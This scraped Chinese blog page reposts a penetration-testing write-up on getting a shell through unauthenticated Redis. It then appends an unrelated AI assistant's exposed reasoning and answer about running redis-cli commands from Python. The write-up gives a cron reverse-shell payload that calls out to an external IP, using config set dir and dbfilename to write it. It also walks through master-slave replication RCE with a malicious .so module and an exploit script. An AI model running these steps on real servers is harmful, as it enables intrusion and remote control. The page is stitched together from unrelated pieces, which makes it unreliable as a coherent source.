linux 脚本 执行redis 绕过 auth,记一次Redis+Getshell经验分享

本文介绍Redis未授权访问及远程代码执行(RCE)漏洞的原理与利用方法,包括定时计划反弹Shell与主从复制RCE两种手段,通过实战演示如何获取目标系统的Shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

你是我患得患失的梦,我是你可有可无的人,毕竟这穿越山河的箭,刺的都是用情之疾的人。

前言:

当我们接到一个授权渗透测试的时候,常规漏洞如注入、文件上传等尝试无果后,扫描端口可能会发现意外收获。

知己知彼乃百战不殆,Redis介绍:

简单来说 redis 就是一个Key-Value类型的数据库, redis 所有数据全部在内存中进行操作,并且它可以将内存中的数据定期存储在磁盘中,并且支持保存多种数据结构(String、hash、list等)。

运筹帷幄之中,Redis漏洞:

1、未授权访问漏洞

Redis在默认情况下,会绑定在0.0.0.0:6379,如果没有采用限制IP访问,就会将Redis服务暴露在公网上,并且在没有设置密码认证的情况下,会导致任意用户未授权访问Redis以及读取Redis数据并写入公钥进行远程连接等。

当拿到数据库权限是不会满足我们的,我们的目标只有一个getshell!

目前较主流的两个方法,第一种定时计划反弹shell、第二种利用主从复制rce。

2、定时计划反弹shell1)set x "\n* * * * * bash -i >& /dev/tcp/1.1.1.1/888 0>&1\n"

2)config set dir /var/spool/cron/

3)config set dbfilename root

4)save

3、利用主从复制rce

漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主机从机数据都是一样的,从机只负责读,主机只负责写。在Reids 4.x之后,通过外部拓展,可以实现在redis中实现一个新的Redis命令,构造恶意.so文件。在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载恶意so文件,即可执行命令。

需要利用一个工具,GitHub下载即可。

进而通过未授权访问或者弱口令连接redis,执行脚本即可获取shell。

f8be22118d36bb9d3059a9277fd3c7fb.png

决胜千里之外,实战演练:

本次扫到了6379也就是Redis,有的时候可能或改默认端口,建议全端口扫描,本次利用主从复制rce获取shell(由于该漏洞已提交src,签约保密协议,故搭建靶机还原真实环境,保证原汁原味。)攻击端ip:192.168.109.134

服务端ip:192.168.109.136

73317a9453a799ee5814bab723576579.png通过未授权访问连接redis(如果有密码,可以尝试爆破,authpassword 登陆系统):Redis-cli –h ip

cec4ea4993bae1c84d80d5f3643ed812.png利用主从复制rce获取shell

首先要生成恶意.so文件,下载RedisModules-ExecuteCommand使用make编译即可生成。

55a59e4d72c5054185267ceffc682a2f.png攻击端执行:

python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so

成功获取shell

756638165ba0e7ade2828094cb2f0c00.png

总结:

其实最难得还是需要细心,日常有授权测试的时候不要轻易放过任何数据包,以及一些js文件,它通常会给你带来很多意外的惊喜。执着是好事,但是不能太钻牛角尖,如果一个方面实在行不通的话,可以换条路走,毕竟条条大路最终都是通罗马的。

*本文作者:ch8411,转载请注明来自FreeBuf.COM

<think>我们面临的问题:如何在不需要安装Redis Python库的情况下,通过Python脚本在ECS实例中执行多条Redis-cli命令。 思路: 1. 我们可以通过Python的subprocess模块来调用系统命令,因为redis-cli是一个命令行工具。 2. 需要确保ECS实例上已经安装了redis-cli。 3. 执行多条命令可以通过以下方式: a. 使用管道(pipe)将多个命令组合在一起,通过标准输入传递给redis-cli。 b. 或者将多个命令写入一个脚本文件,然后通过redis-cli执行脚本。 但是,注意redis-cli执行多条命令时,通常有两种方式: - 交互模式:但这不是我们想要的,因为我们需要自动化。 - 非交互模式:可以通过管道或者从文件读取命令。 具体方法: 方法1:使用echo和管道组合命令,然后通过shell执行 例如:echo -e "set key1 value1\nget key1" | redis-cli -h host -p port 方法2:使用heredoc(在shell脚本中常用) 例如:redis-cli -h host -p port <<EOF set key1 value1 get key1 EOF 在Python中,我们可以使用subprocess模块来执行这样的shell命令。 但是,我们需要注意安全性和错误处理。 步骤: 1. 构建命令字符串(包括多条命令)。 2. 使用subprocess.Popen或subprocess.run来执行命令,并捕获输出。 然而,如果命令中包含用户输入,我们需要小心避免shell注入攻击。如果参数是可控的,我们可以使用参数列表的形式来避免。 但是,由于我们要执行多条命令,且需要用到管道,我们可能不得不使用shell=True。这时,我们需要确保命令字符串是安全的。 另一种方式:我们可以将多条命令写入一个临时文件,然后让redis-cli执行这个文件。 权衡: - 使用管道(通过字符串命令)简单直接,但需要注意转义和换行。 - 使用临时文件更清晰,但需要处理文件的创建和删除。 我们选择使用管道的方式,因为命令不多时比较方便。 示例: 命令:redis-cli -h <host> -p <port> -a <password> 执行多条命令 注意:密码如果使用-a参数,在命令行中可能暴露,所以建议使用环境变量或者通过输入重定向(但redis-cli支持通过-a传递密码,且在生产环境中我们通常使用安全组和网络隔离,同时注意命令历史的问题)。另外,也可以使用--askpass,但这样需要交互,不适合脚本。 更安全的方式:使用环境变量传递密码,然后在命令中引用。但是redis-cli并不支持从环境变量读取密码,所以我们可以使用以下方式: 在命令中传递密码:redis-cli -h host -p port -a password 但是,在命令行中显示密码会被ps命令看到,所以不是完全安全。另一种方式:使用redis-cli的AUTH命令在连接后认证,这样我们可以将密码放在命令中,但同样在命令历史中可能暴露。因此,在自动化脚本中,我们需要确保清除命令历史,或者使用其他安全机制(如从文件读取密码,然后通过重定向输入)。 考虑到我们的场景是在ECS实例中,我们可以将密码存储在环境变量中,然后在Python中读取,再通过管道传递给redis-cli(即在命令中包含AUTH命令)。这样,命令字符串中就不会直接暴露密码(因为密码是从环境变量读取的,而环境变量在系统中相对安全)。 具体步骤: 1. 从环境变量获取Redis密码(假设环境变量名为REDIS_PASSWORD)。 2. 构建命令字符串,首先执行AUTH,然后执行其他命令。 3. 通过subprocess执行。 示例命令字符串: command_string = "AUTH {}\nCOMMAND1\nCOMMAND2".format(password) 然后执行: echo -e command_string | redis-cli -h host -p port 但是,在Python中,我们可以不用echo,而是通过subprocess.Popen直接向进程的标准输入写入。 更推荐的方式是使用subprocess.Popen,通过stdin参数传递命令字符串。 示例代码: import subprocess host = 'your_redis_host' port = '6379' password = os.environ.get('REDIS_PASSWORD') # 从环境变量获取密码 commands = f"AUTH {password}\nset key1 value1\nget key1\n" # 或者如果不需要认证,则去掉AUTH行 p = subprocess.Popen(['redis-cli', '-h', host, '-p', port], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) stdout, stderr = p.communicate(input=commands.encode()) print(stdout.decode()) print(stderr.decode()) 注意:如果密码错误,我们会在stderr中看到错误信息。 但是,这种方法有一个问题:每条命令的执行结果可能会相互影响(比如,AUTH的结果和后续命令的结果都会输出),而且我们无法单独获取每条命令的返回。如果我们需要解析输出,可能会比较麻烦。 另外,redis-cli在非交互模式下,默认会输出原始格式(包含类型标,如:1, $5等),如果我们想要可读性更好的输出,可以加上--raw选项(但可能不利于程序解析)。 如果我们想要每条命令单独执行并获取结果,那么可能需要多次调用redis-cli,但这样效率低。所以,在需要执行多条命令且不关心中间结果的情况下,管道方式是可以的。 另外,我们也可以使用redis-cli的管道特性(pipeline)来执行多条命令,但这里的管道是指Redis协议层面的管道,它可以减少网络往返时间。但是,我们通过redis-cli执行时,使用上述方式发送多条命令实际上就是使用了管道(因为一次发送了多条命令,Redis会顺序执行)。 所以,我们采用上述方法。 但是,如果命令之间有依赖(比如前一个命令的输出作为后一个命令的输入),那么这种方式就不合适了,因为我们在发送命令时还不知道前一个命令的结果。这种情况下,我们需要多次调用redis-cli,或者使用Lua脚本(将多个命令组合成一个原子操作)。 因此,根据需求选择: - 无依赖的多条命令:使用上述管道方式。 - 有依赖的多条命令:使用Lua脚本,或者多次调用(但多次调用会失去原子性,且网络开销大)。 问题要求:执行多条命令而不依赖Redis库。所以我们使用管道方式。 代码示例: import subprocess import os redis_host = "your_redis_host" redis_port = "6379" redis_password = os.environ.get("REDIS_PASSWORD") # 假设已经设置 # 构建命令字符串,注意每条命令以换行符分隔 commands = "" if redis_password: commands += f"AUTH {redis_password}\n" commands += "set key1 value1\n" commands += "get key1\n" # 调用redis-cli process = subprocess.Popen( ['redis-cli', '-h', redis_host, '-p', redis_port], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) # 发送命令并获取输出 stdout, stderr = process.communicate(commands.encode('utf-8')) # 输出结果 print("STDOUT:", stdout.decode('utf-8')) print("STDERR:", stderr.decode('utf-8')) 注意:如果命令中有空格或特殊字符,需要确保正确转义。对于值中的空格,Redis命令本身是使用空格分隔参数的,所以如果值中有空格,需要用双引号括起来(但是,在Redis命令中,字符串值不需要在命令中加引号,因为Redis协议会按照参数来解析)。不过,在命令行中,如果参数包含空格,我们需要用引号将整个参数括起来,以避免被shell解析(但这里我们不是通过shell,而是直接通过参数列表,所以不需要)。但是,注意我们是通过stdin输入的,所以不需要担心shell的解析问题。 但是,上面的方法有一个潜在问题:如果密码中包含特殊字符(如换行符),那么可能会破坏命令结构。所以,我们最好避免在命令字符串中直接使用密码,而是通过其他方式。 另一种更安全的方式:使用环境变量传递密码,然后在命令中不出现密码,而是通过redis-cli的-a参数(但这样在ps命令中可见)。或者,我们可以使用一个文件来存储密码,然后通过重定向输入来读取密码文件,但这样更复杂。 权衡后,如果环境变量是安全的,那么使用上述方法是可以的。或者,我们可以将密码作为参数传递给redis-cli,但这样在ps中可见,所以不推荐。 因此,我们选择使用AUTH命令,但注意密码中不能包含换行符(因为我们的命令字符串用换行符分隔命令)。如果密码包含换行符,这种方法就会失败。所以,我们需要确保密码中不包含换行符(通常密码不会包含)。 如果担心密码在命令字符串中的安全性,我们可以考虑使用临时文件: with open('/tmp/redis_commands.txt', 'w') as f: if redis_password: f.write(f"AUTH {redis_password}\n") f.write("set key1 value1\n") f.write("get key1\n") # 然后执行redis-cli -h host -p port < /tmp/redis_commands.txt 但这样需要写文件,并且要注意文件权限,以及及时删除文件。 我们选择使用临时文件的方式,因为可以避免密码在进程列表中出现,并且可以处理密码中的特殊字符(除了换行符,因为换行符是命令分隔符,所以密码中不能有换行符,这是Redis密码的限制?实际上Redis密码可以是任意二进制数据,但通常我们使用字符串,所以不会包含换行符)。 但是,使用临时文件的方式,我们可以通过subprocess重定向标准输入来实现,而不需要实际写文件: import tempfile with tempfile.TemporaryFile(mode='w+') as f: if redis_password: f.write(f"AUTH {redis_password}\n") f.write("set key1 value1\n") f.write("get key1\n") f.seek(0) # 将文件指针移到开头,以便读取 process = subprocess.Popen( ['redis-cli', '-h', redis_host, '-p', redis_port], stdin=f, # 将临时文件作为标准输入 stdout=subprocess.PIPE, stderr=subprocess.PIPE ) stdout, stderr = process.communicate() # 临时文件会自动删除 但是,这种方法需要将文件指针重置,并且使用临时文件对象。注意,在Windows和Linux上,临时文件的行为可能不同,但在ECS中通常是Linux。 或者,我们也可以使用subprocess.PIPE而不使用临时文件,就像之前那样,因为之前的方法并没有在命令字符串中暴露密码(密码在内存中),所以也是安全的。而且,我们不需要处理临时文件。 所以,我们回到第一种方法(使用PIPE和内存中的字符串),因为简单且不会在磁盘上留下痕迹。 结论:使用第一种方法。 但是,注意:使用PIPE时,如果命令输出很大,可能会占用大量内存。所以,如果命令输出很大,我们可以逐行处理,但这里我们假设输出不大。 代码调整:如果密码为空,则跳过AUTH命令。 另外,我们还可以支持数据库选择(SELECT命令),只需在命令字符串中添加即可。 示例:如果我们需要选择数据库0,则: commands = "" if redis_password: commands += f"AUTH {redis_password}\n" commands += "SELECT 0\n" commands += ...其他命令... 完整代码示例: import subprocess import os def execute_redis_commands(host, port, password=None, commands_list=None, db=None): """ 执行多条Redis命令 :param host: Redis主机 :param port: Redis端口 :param password: Redis密码,可选 :param commands_list: 命令列表,每个元素是一个命令字符串(例如:["set key1 value1", "get key1"]) :param db: 选择的数据库编号,可选 :return: 标准输出和标准错误 """ cmd_str = "" if password: cmd_str += f"AUTH {password}\n" if db is not None: cmd_str += f"SELECT {db}\n" if commands_list: cmd_str += "\n".join(commands_list) + "\n" process = subprocess.Popen( ['redis-cli', '-h', host, '-p', str(port)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) stdout, stderr = process.communicate(cmd_str.encode('utf-8')) return stdout.decode('utf-8'), stderr.decode('utf-8') # 使用示例 if __name__ == "__main__": host = "localhost" port = 6379 password = os.environ.get("REDIS_PASSWORD") # 或者直接写密码(不推荐) commands = [ "set key1 value1", "get key1" ] stdout, stderr = execute_redis_commands(host, port, password, commands, db=0) print("STDOUT:", stdout) print("STDERR:", stderr) 注意:如果Redis服务器需要TLS连接,那么redis-cli命令需要加上--tls选项,以及相关的证书参数。这取决于Redis的配置。 另外,如果Redis服务器不在本地,需要确保ECS实例的安全组允许访问Redis端口。 总结:通过subprocess调用redis-cli,并将多条命令通过标准输入传入,可以实现在不安装Redis库的情况下执行多条命令。 相关问题: 1. 如何确保在Python中安全地传递Redis密码? 2. 如何处理Redis命令执行中的错误? 3. 如果命令执行时间较长,如何设置超时? 4. 如何解析Redis-cli返回的结果(特别是原始协议格式)? 5. 如何使用Lua脚本通过redis-cli执行?</think>### 在ECS中通过Python调用Redis-cli执行多条命令(不依赖Redis库) 在ECS实例中通过Python调用Redis-cli执行多条命令,核心思路是使用Python的`subprocess`模块启动Redis-cli进程,并通过**标准输入(stdin)** 传递多条命令。以下是具体实现步骤: --- #### 1. **基础命令执行方法** ```python import subprocess # 定义Redis连接参数 REDIS_HOST = "your_redis_host" REDIS_PORT = 6379 REDIS_PASSWORD = "your_password" # 若无密码可省略 # 构建Redis-cli命令 commands = """ SET key1 "Hello" GET key1 INCR counter """ # 执行命令(通过管道传递) process = subprocess.Popen( ['redis-cli', '-h', REDIS_HOST, '-p', str(REDIS_PORT)], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) stdout, stderr = process.communicate(commands) print("输出结果:\n", stdout) print("错误信息:\n", stderr) ``` --- #### 2. **支持密码认证的改进方案** 若Redis需要密码,使用`AUTH`命令认证: ```python commands = f""" AUTH {REDIS_PASSWORD} SET key1 "auth_success" GET key1 """ ``` --- #### 3. **处理二进制数据/特殊字符** 对含空格或引号的值使用双引号包裹: ```python commands = """ SET user:1000:name "John Doe" SET user:1000:email "john@example.com" """ ``` --- #### 4. **执行复杂命令(如BITOP)** ```python commands = """ SET bitmap1 "\x01\x00" SET bitmap2 "\x00\x01" BITOP AND result bitmap1 bitmap2 GET result """ ``` --- #### 5. **错误处理与超时控制** ```python try: process = subprocess.Popen( ['redis-cli', '-h', REDIS_HOST], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True ) stdout, stderr = process.communicate(commands, timeout=10) # 设置10秒超时 except subprocess.TimeoutExpired: process.kill() print("命令执行超时") ``` --- #### **关键注意事项** 1. **ECS环境要求**: - 确保ECS实例已安装`redis-cli`(可通过`apt-get install redis-tools`或`yum install redis`安装)。 - 安全组需开放Redis端口(默认6379)[^1]。 2. **安全性建议**: - 密码从环境变量读取:`os.environ.get("REDIS_PASSWORD")` - 避免在代码中硬编码敏感信息 3. **性能优化**: - 批量命令一次性发送减少网络开销 - 超时设置防止进程阻塞 --- #### **执行流程说明** ```mermaid graph TD A[Python启动subprocess] --> B[创建redis-cli进程] B --> C[通过stdin传入多条命令] C --> D[Redis服务器顺序执行命令] D --> E[结果通过stdout返回Python] ``` ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值